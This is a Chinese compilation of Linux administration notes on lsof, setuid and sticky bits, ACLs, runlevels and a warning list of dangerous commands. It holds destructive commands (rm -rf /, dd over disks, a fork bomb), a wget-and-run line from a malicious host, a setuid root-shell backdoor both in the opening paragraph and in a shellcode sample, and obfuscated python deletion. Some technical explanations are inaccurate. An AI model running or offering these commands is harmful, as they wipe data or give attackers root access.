linux 命令

来源:互联网 发布:org.apache是什么 编辑:程序博客网 时间:2024/04/29 18:39

众所周知,Linux的文件权限如:777;666等,其实只要在相应的文件上加上UID的权限,就可以用到加权限人的身份去运行这个文件。所以我们只需要将bash复制出来到另一个地方,然后用root加上UID权限,只要用户运行此Shell就可以用用root的身份来执行任何文件了。

1.Linux下如何知道某个端口在运行什么程序


当我们用netstat -an的时候,我们有时候可以看到类似的输出:

udp 0 0 0.0.0.0:32768 0.0.0.0:*

但是查找/etc/services又没有这个端口的相关说明,怎么办呢?这个是不是黑客程序?有没有办法查看究竟什么程序监听在这个端口?

使用lsof -i :32768就可以看到:

COMMANDPID USER FD TYPE DEVICE SIZE NODE NAME            rpc.statd 603 root 4uIPv4 953 UDP *:32768            rpc.statd 603 root 6u IPv4 956 TCP*:32768 (LISTEN)

原来是rpc的程序。

使用lsof -i :port就能看见所指定端口运行的程序,同时还有当前连接。

 

2.文件权限的野史

一个文件都有一个所有者, 表示该文件是谁创建的. 同时, 该文件还有一个组编号, 表示该文件所属的组,一般为文件所有者所属的组。如果是一个可执行文件, 那么在执行时, 一般该文件只拥有调用该文件的用户具有的权限. 而setuid, setgid可以来改变这种设置.

setuid: 设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码.

setgid: 该权限只对目录有效. 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组.

stickybit: 该位可以理解为防删除位. 一个文件是否可以被某用户删除, 主要取决于该文件所属的组是否对该用户具有写权限. 如果没有写权限,则这个目录下的所有文件都不能被删除, 同时也不能添加新的文件. 如果希望用户能够添加文件但同时不能删除文件, 则可以对文件使用stickybit位. 设置该位后, 就算用户对目录具有写权限, 也不能删除该文件。

3.Linux文件系统ACLs权限控制

Linux文件系统给所有者(owner)、所有组(owninggroup)、其它(other)每一类用户分别定义了的rwx权限,且是彼此独立的。虽然Linux有也Linux特殊文件权限的功能支持,但要像在Windows下把权限控制可以精确到用户和组(如允许某个文件允许某一特殊用户修改,允许某一组的用户可以查看等)一样灵活,这些显然还不够。令人欣慰的是,Linux也有ACLs权限控制的支持,在Linux中ACLs在ReiserFS,Ext2,Ext3,JFS,XFS等文件系统中受到支持。

修改文件ACL:setfacl -m u:tux:rw file    允许用户tux读写file文件
查看文件ACL:getfacl file

使用了ACL的文件,通过ls -l命令来查看权限时,后面会有一个“+”号,group的权限会有变化(使用了ACL mask权限)。

文件使用ACL后,权限角色有如下几种类型:
    最小化ACL:
        owning user
        owning group
        other
    扩展ACL:
        可以包含若干个对象:named user(设置单独用户的访问权限)、named group(设置单独群组的访问权限)
        包含一个mask(限制named users 和 named groups的权限)

举例说明如下:
owner user::rwx
named user user:name:rwx
owning  group group ::rwx
named group group :nam e:rwx
mask mask::rwx
other other::rwx

定义在owner、other里的权限一直都是有效的,其它权限可能用效或者被隐蔽。
named user与named group的值是否生效,还要看其值与mask的“与”值,即mask也要有该权限,才能生效。
mask的值一般是与owning group一致的,可以通过修改owning group的值来修改mask。
举例说明如下:
linux-canbeing:/home/canbeing/temp # getfacl my
# file: my
# owner: canbeing
# group: users
user::rw-
user:canbeing:rwx        #effective:r-x   w没有生效
group::r--
mask::r-x
other::r--

子目录会继承父目录的ACL。
如果父目录有ACL,则创建新文件或者文件夹时,默认权限不会根据umask来计算,而是继承或者根据命令参数。
使用setfacl -d -m u:canbeing:rw /tmp/acl_test/  则此权限会得到子目录及文件的继承(权限以default开头)
linux-canbeing:/tmp/acl_test # getfacl /tmp/acl_test/
getfacl: Removing leading '/' from absolute path names
# file: tmp/acl_test/
# owner: root
# group: root
user::rwx
user:canbeing:rwx
group::---
mask::rwx
other::---
default:user::rwx
default:user:canbeing:rw-
default:group::---
default:mask::rw-
default:other::---

3.查看系统开机之后的服务

开机按[CTRL]+[ALT]+[F7]/[F8]可查看系统启动时正在启动的服务!!!!
众所周知Linux给我们提供了7中不同的启动级别0~6,那么不同的启动级别都会启动那些服务哪。可以使用chkconfig ——list 查看,可以使用chkconfig 服务名 ——level 3 {on|of}修改是否要再某个级别启动或停止。
1. 例如:要把sshd服务在第3种启动级别中停止。
[root@team4 rc3.d]# chkconfig sshd --level 3 off 中国网管联盟www.bitscn.com
2. 还可以手工修改,在/etc/rc.d/这个目录里有很多不同runlevel对应的目录,里面表明进入某个启动级别时要启动和停止那些服务。
例如: 中国网管联盟www、bitsCN、com
[root@team4 etc]# ls /etc/rc.d
init.d  rc0.d  rc2.d  rc4.d  rc6.d     rc.sysinit
rc      rc1.d  rc3.d  rc5.d  rc.local
我们用rc3.d这个目录为例,这个目录里面记录的是进入init 3时需要停止和启动那些服务。
下面为rc3.d目录的内容:
[root@team4 etc]# ls /etc/rc.d/rc3.d/
K02avahi-dnsconfd            K89pand             S25bluetooth
K02dhcdbd                    K89rdisc            S25netfs
K02NetworkManager            K91capi             S25pcscd
K02NetworkManagerDispatcher  K99readahead_later  S26apmd
K05conman                    S04readahead_early  S26hidd
K开头代表这个启动级别需要停止的服务,编号是停止的时候执行的顺序,再后面就是服务明了。
S开头则是要启动那些服务。 网管网bitsCN_com
注意:先执行K开头的,后执行S开头的。所以S开头的服务会覆盖K开头的服务。
Linux设置程序的开机自启动与Linux服务
这里只说我所知道的,举例如下
需求是我要用Windows下的VNC Viewer连接到Linux Server. 我在Linux下面输入
#vncserver
设置好密码,好现在我就可以在Windows下面使用VNC连接到Linux桌面了,这个时候如果我的LinuxServer系统重启了,那么我还得再敲一次vncserver这个命令,所以我现在要让Linux Server在开机时自动启动vncserver
有哪些方法呢?
1. 我可以把vncserver设置成系统的服务,并启动起来,使用如下命令查看vncserver是否已经是系统的服务
#chkconfig --list|grep vnc
vncserver    0:off 1:off 2:off 3:off 4:off 5:off 6:off
现在我们要设置vncserver开机自启动,使用如下命令
#chkconfig --level 5 vncserver on#chkconfig --list|grep vnc
vncserver    0:off 1:off 2:off 3:off 4:off 5:on 6:off
这个时候重启系统,那么vncserver就会以服务的方式自动起来,但是现在如果想立即使用vnc则直接敲命令 vncserver即可
2. 我们可以把vncserver这条命令写在Linux开机要运行的脚本里面,那些脚本是Linux开机时要执行的呢?
我知道的有以下这些:
/etc/rc.local
/etc/rc.sysinit
/etc/inittab
/etc/profile
这里记住Linux服务于Linux开机自启动之间的区别和联系

4.慎重运行的危险Linux命令

文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,除非你是在虚拟机上运行(出现问题你可以还原),因为它们会实实在在的破坏你的系统。所以不在root等高级管理权限下执行命令是很好的习惯。

早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在 Linux给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭都来不及。

这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。

sudo rm -rf /  删除根分区全部的文件
sudo rm -rf .    删除当前目录下的所有文件
sudo rm -rf *   同上
rm -rf * or rm -rf *.*   同上
rm -rf ~ / &     删除根分区和家目录,即使你不是root,家目录还是不能幸免。

同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:

sudo mkfs.xxxx 

dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。

sudo dd if=/dev/zero of=/dev/sda   全部硬盘清零。
sudo dd if=/dev/sda of=/dev/sdb     用第一块硬盘的内容覆盖第二块的内容。
sudo dd if=something of=/dev/sda    往硬盘上写垃圾数据。

同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:

any_command > /dev/sda              用随意的数据破坏硬盘

上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。

fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:

:(){:|:&};:  

这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:

fork while fork

有的时候,压缩包也是一个破坏来源~

有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。

有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。

从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:

wget http://some_place/some_file
sh ./some_file
wget http://hax018r.org/malicious-script
sh ./malicious-script

载脚本要确保来源正规,如果有能力,可以阅读其代码。

即使有源代码的程序,也不要随便编译执行:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是“rm -rf ~ / & ”。

python 一类的脚本语言,同样可以拿来搞破坏:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!

那么我们如何避免运行恶意程序呢?
第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。
第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。
第三要保证软件、脚本的来源正规。
最后一点,虽然比较消极,但是确实十分重要的一点:
经常备份你的数据!!

 

5.几个示范

下面说一下如何操作典型的几个标志:

操作这些标志与操作文件权限的命令是一样的, 都是 chmod. 有两种方法来操作,

1) chmod u+s temp -- 为temp文件加上setuid标志. (setuid 只对文件有效)

chmod g+s tempdir -- 为tempdir目录加上setgid标志 (setgid 只对目录有效)

chmod o+t temp -- 为temp文件加上sticky标志 (sticky只对文件有效)

2) 采用八进制方式. 对一般文件通过三组八进制数字来置标志, 如 666, 777, 644等. 如果设置这些特殊标志, 则在这组数字之外外加一组八进制数字. 如 4666, 2777等. 这一组八进制数字三位的意义如下,

abc

a - setuid位, 如果该位为1, 则表示设置setuid

b - setgid位, 如果该位为1, 则表示设置setgid

c - sticky位, 如果该位为1, 则表示设置sticky

设置完这些标志后, 可以用 ls -l 来查看. 如果有这些标志, 则会在原来的执行标志位置上显示. 如

rwsrw-r-- 表示有setuid标志

rwxrwsrw- 表示有setgid标志

rwxrw-rwt 表示有sticky标志

那么原来的执行标志x到哪里去了呢? 系统是这样规定的, 如果本来在该位上有x, 则这些特殊标志显示为小写字母 (s, s, t). 否则, 显示为大写字母 (S, S, T)

 
原创粉丝点击